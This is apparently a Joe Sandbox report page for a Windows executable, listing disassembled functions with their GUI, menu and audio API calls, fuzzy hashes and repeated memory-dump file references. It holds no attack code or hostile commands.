Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Icon$NotifyShell_$Destroy
String ID: X$d
API String ID: 944232879-651813629
Opcode ID: 5ba195c5eed2bd41d902bdfd19f0a80c5c0bff72fc1292ca1bfc0c1e6505c18c
Instruction ID: d620c4640116252c1c62cee5ecfe0cba2b47a1392d61c9269f01abdc2f07c9b2
Opcode Fuzzy Hash: 5ba195c5eed2bd41d902bdfd19f0a80c5c0bff72fc1292ca1bfc0c1e6505c18c
Instruction Fuzzy Hash: 27216A756083009FE350DF15D804BABBBE5AFC5704F00892EF9C992350EBB499498B96

Function 004929D4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 00492A15
GetDlgItem.USER32(?,00000002), ref: 00492A34
IsWindowEnabled.USER32(00000000), ref: 00492A3F
SendMessageA.USER32(?,00000111,00000002,00000000), ref: 00492A55

Strings

Edit, xrefs: 00492A1F

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$EnabledItemLongMessageSend
String ID: Edit
API String ID: 3499652902-554135844
Opcode ID: b5f54af83ad12b0da790d9ec71784047927b46468e8da71b85a6ef2cb9e57f05
Instruction ID: fbd8b4963dc05df2b418b0416b199cd7acf6382680aba6fd6f63fa7db7d1156f
Opcode Fuzzy Hash: b5f54af83ad12b0da790d9ec71784047927b46468e8da71b85a6ef2cb9e57f05
Instruction Fuzzy Hash: AD01C836340201BAEF315B16CD09F5BAE64AB55754F10453BF402D51F5CBE8DE82C65C

Function 0041BDF0 Relevance: 7.9, APIs: 5, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: a05940150bd5af8e6d8fd98777776f9312b856fbde2c34aacf9fc3ff5e138e7f
Instruction ID: 23770d95dd8c5bae624f9fdebf33e0c272bf138dbd4052b7186bc1108131a7bc
Opcode Fuzzy Hash: a05940150bd5af8e6d8fd98777776f9312b856fbde2c34aacf9fc3ff5e138e7f
Instruction Fuzzy Hash: F2C190719443059FC710DF64CC819ABB7F9EF88348F14492EF84697352EB38E9468B96

Function 004348D0 Relevance: 7.7, APIs: 5, Instructions: 229COMMON

Download Yara Rule

APIs

CopyRect.USER32(?,00000000), ref: 00434959
GetClientRect.USER32(00000000,?), ref: 00434992
DPtoLP.GDI32 ref: 004349E8
GetClientRect.USER32(00000000,?), ref: 00434ABC
DPtoLP.GDI32 ref: 00434B12

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Client$Copy
String ID:
API String ID: 472922470-0
Opcode ID: 4353e53b2cfa67f8323dc257c03ef663b1121bb063c315b3eae43caad63ff8e2
Instruction ID: 4be9a50ec48ceb42130b14e201f9d2bf71f4b798f7450f80e4242b3edb6d1d65
Opcode Fuzzy Hash: 4353e53b2cfa67f8323dc257c03ef663b1121bb063c315b3eae43caad63ff8e2
Instruction Fuzzy Hash: CC8171712083459FC714EF69C890BAFB7E5FBC8708F10591EF19683291DB78B9058B6A

Function 004858C3 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00485921
GetFileType.KERNEL32(?,?,00000000), ref: 004859CC
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 00485A2F
GetFileType.KERNEL32(00000000,?,00000000), ref: 00485A3D
SetHandleCount.KERNEL32 ref: 00485A74

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 5f0cff2178b573b8a12230da0c7d36a04d4f0cd14026285829b3e1262d91536c
Instruction ID: c9e05cdb145d5002dc2a3b1cdaef41cb998151e758b8b78627d70d66860c6e24
Opcode Fuzzy Hash: 5f0cff2178b573b8a12230da0c7d36a04d4f0cd14026285829b3e1262d91536c
Instruction Fuzzy Hash: E5513871504A41CFD724AF28C8C47AE3BE0AB11378F284B6ED992CB3E1D7389849D749

Function 00420A70 Relevance: 7.6, APIs: 5, Instructions: 104windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00420B40
WinHelpA.USER32(?,00000000,00000002,00000000), ref: 00420B5B
GetMenu.USER32(?), ref: 00420B6B
SetMenu.USER32(?,00000000), ref: 00420B78
DestroyMenu.USER32(00000000), ref: 00420B83

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Menu$DestroyHelpWindow
String ID:
API String ID: 427501538-0
Opcode ID: 0b0330ae5de8d1b0f69f15ab0847847e3cb4c75b53452507452958a45ae3b0d8
Instruction ID: 9ef9bd8bff52a86120d14054ec986fb32a598883442bd99e0070dd6fa16d7bb9
Opcode Fuzzy Hash: 0b0330ae5de8d1b0f69f15ab0847847e3cb4c75b53452507452958a45ae3b0d8
Instruction Fuzzy Hash: 31310475600218ABC324EFA6D845E6BBBECFF45348F41461EF80553241DB39B844CBA9

Function 0042CE40 Relevance: 7.6, APIs: 5, Instructions: 103synchronizationCOMMON

Download Yara Rule

APIs

midiStreamStop.WINMM(00000000,00000000,004DB174,00000000,0042C9AA,00000000,004DB418,00422F66,004DB418,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CE75
midiOutReset.WINMM(00000000,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CE93
WaitForSingleObject.KERNEL32(00000000,000007D0,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CEB6
midiStreamClose.WINMM(00000000,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CEF3
midiStreamClose.WINMM(00000000,?,0041DB2F,004DB418,0041BAE6,00000001,00000000,000000FF), ref: 0042CF27

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: midi$Stream$Close$ObjectResetSingleStopWait
String ID:
API String ID: 3142198506-0
Opcode ID: e1134d4e123b822d3db6c12bec34fffbbf0c47b1335f29658fb4d4603b626d85
Instruction ID: fdbee6babb0f1b650e3bdba6203750be7c99b7c4315b9336261926ab3d681eda
Opcode Fuzzy Hash: e1134d4e123b822d3db6c12bec34fffbbf0c47b1335f29658fb4d4603b626d85
Instruction Fuzzy Hash: E9316EB27007608BCB309F65E9C456FB7EABB94705B554A3FE142C6640C778DC45CB98

Function 0046B3F0 Relevance: 7.6, APIs: 5, Instructions: 98sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00469F60: ReleaseSemaphore.KERNEL32(?,00000001,?,?,004698B7,?,?,?,00469868), ref: 00469F6C

waveOutReset.WINMM(?,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B453
waveOutUnprepareHeader.WINMM(?,?,00000020,?,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B47E
waveOutClose.WINMM(?,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B496
Sleep.KERNEL32(00000064,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B4A5
waveOutClose.WINMM(?,?,?,?,?,?,004A0358,000000FF,0046B3D8), ref: 0046B4AB

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wave$Close$HeaderReleaseResetSemaphoreSleepUnprepare
String ID:
API String ID: 1090488759-0
Opcode ID: 23d03f1604a0202bc93b3e0ac2f9a80cec42d24d387ef5e800a4e4c06887e490
Instruction ID: c601822a2596641263454612aa1c3a4eee27c4501a14db35624addb3de56d9f2
Opcode Fuzzy Hash: 23d03f1604a0202bc93b3e0ac2f9a80cec42d24d387ef5e800a4e4c06887e490
Instruction Fuzzy Hash: 9931C3712007008FC724EF55C880A2BB7E9FB89714F54091EE052C7B52EBB9F841CB9A

Function 0041CC40 Relevance: 7.6, APIs: 5, Instructions: 92windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 0041CCB0
GetMenu.USER32(?), ref: 0041CCBF
DestroyAcceleratorTable.USER32(?), ref: 0041CD0C
SetMenu.USER32(?,00000000), ref: 0041CD21
DestroyMenu.USER32(?), ref: 0041CD31

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Menu$Destroy$AcceleratorTableWindow
String ID:
API String ID: 1240299919-0
Opcode ID: 91ddac3e01ae8ea8006c34a84d9ea80a4d26965b710d58975c339b7edb06aa9b
Instruction ID: 81a5088b93770b150709d3b25223b7976328a508b0da338769178fd6e6bf7894
Opcode Fuzzy Hash: 91ddac3e01ae8ea8006c34a84d9ea80a4d26965b710d58975c339b7edb06aa9b
Instruction Fuzzy Hash: 243175B55403056FC610EF65DC44DAB77A9EF85358F02892DFC0597252DA38E80ACBA5

Function 004227E0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

IsChild.USER32(?,?), ref: 004227FC

Part of subcall function 00417400: IsChild.USER32(?,?), ref: 0041747D
Part of subcall function 00417400: GetParent.USER32(?), ref: 00417497

GetCursorPos.USER32(?), ref: 00422814
GetClientRect.USER32(?,?), ref: 00422823
PtInRect.USER32(?,?,?), ref: 00422844
SetCursor.USER32(?,?,00000000,?,?,?,?,00422470), ref: 004228C2

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ChildCursorRect$ClientParent
String ID:
API String ID: 1110532797-0
Opcode ID: c53c113f3676dc18c5963c8f7cc51ca9bbe128384fc529c00cd8e1bc5dfdb7de
Instruction ID: 6eb2be84252b982f6d2fd8077ef076d1d755e731623809992ea72b81481b0fe3
Opcode Fuzzy Hash: c53c113f3676dc18c5963c8f7cc51ca9bbe128384fc529c00cd8e1bc5dfdb7de
Instruction Fuzzy Hash: E721D731600211ABD720EB29DD45F9B77E89F88714F054A2FF805E3290EA78E84587AA

Function 0049016B Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00490170
GetParent.USER32(?), ref: 004901AD
SendMessageA.USER32(?,00000464,00000104,00000000), ref: 004901D5
GetParent.USER32(?), ref: 004901FE
SendMessageA.USER32(?,00000465,00000104,00000000), ref: 0049021B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageParentSend$H_prolog
String ID:
API String ID: 1056721960-0
Opcode ID: 85c623e413f880aa19ba5c85c3a9c8903e7526602954a595a7dab3782e475581
Instruction ID: b039fd92a8cff6727a51f71b6b8dc578fc2e7837588f61794e9cf03f85a29d86
Opcode Fuzzy Hash: 85c623e413f880aa19ba5c85c3a9c8903e7526602954a595a7dab3782e475581
Instruction Fuzzy Hash: F231627090021AABDF04EFA5CC49AAEBB74FF41319F10467EA521A71E1DB389E05CB18

Function 00412210 Relevance: 7.6, APIs: 5, Instructions: 56windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0049086E: SendMessageA.USER32(?,0000110C,00000000,00000040), ref: 0049088F

SendMessageA.USER32(?,0000110A,00000004,?), ref: 00412235
SendMessageA.USER32(?,0000110A,00000004,00000000), ref: 00412255
SendMessageA.USER32(?,00001101,00000000,00000000), ref: 00412267
SendMessageA.USER32(?,0000110A,00000004,00000000), ref: 00412275
SendMessageA.USER32(?,00001101,00000000,00000000), ref: 00412287

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 55d2a5a4bebe5541f57ca4b9a1a776c5b8a9ba982e8141572023e214f730b11e
Instruction ID: 40879c440da35dff75692bb02db1bcb9ebc90ebd4be99c3b1b03464bd3eae084
Opcode Fuzzy Hash: 55d2a5a4bebe5541f57ca4b9a1a776c5b8a9ba982e8141572023e214f730b11e
Instruction Fuzzy Hash: CC01A7B27407017BE534AAA64CC1FEBA2AC9FD4B55F01492AF701D72C0DAF8EC424674

Function 004942F8 Relevance: 7.6, APIs: 5, Instructions: 52stringregistryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004942FD
GetClassInfoA.USER32(?,?,?), ref: 00494318
RegisterClassA.USER32(?), ref: 00494323
lstrcatA.KERNEL32(00000034,?,00000001), ref: 0049435A
lstrcatA.KERNEL32(00000034,?), ref: 00494368

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
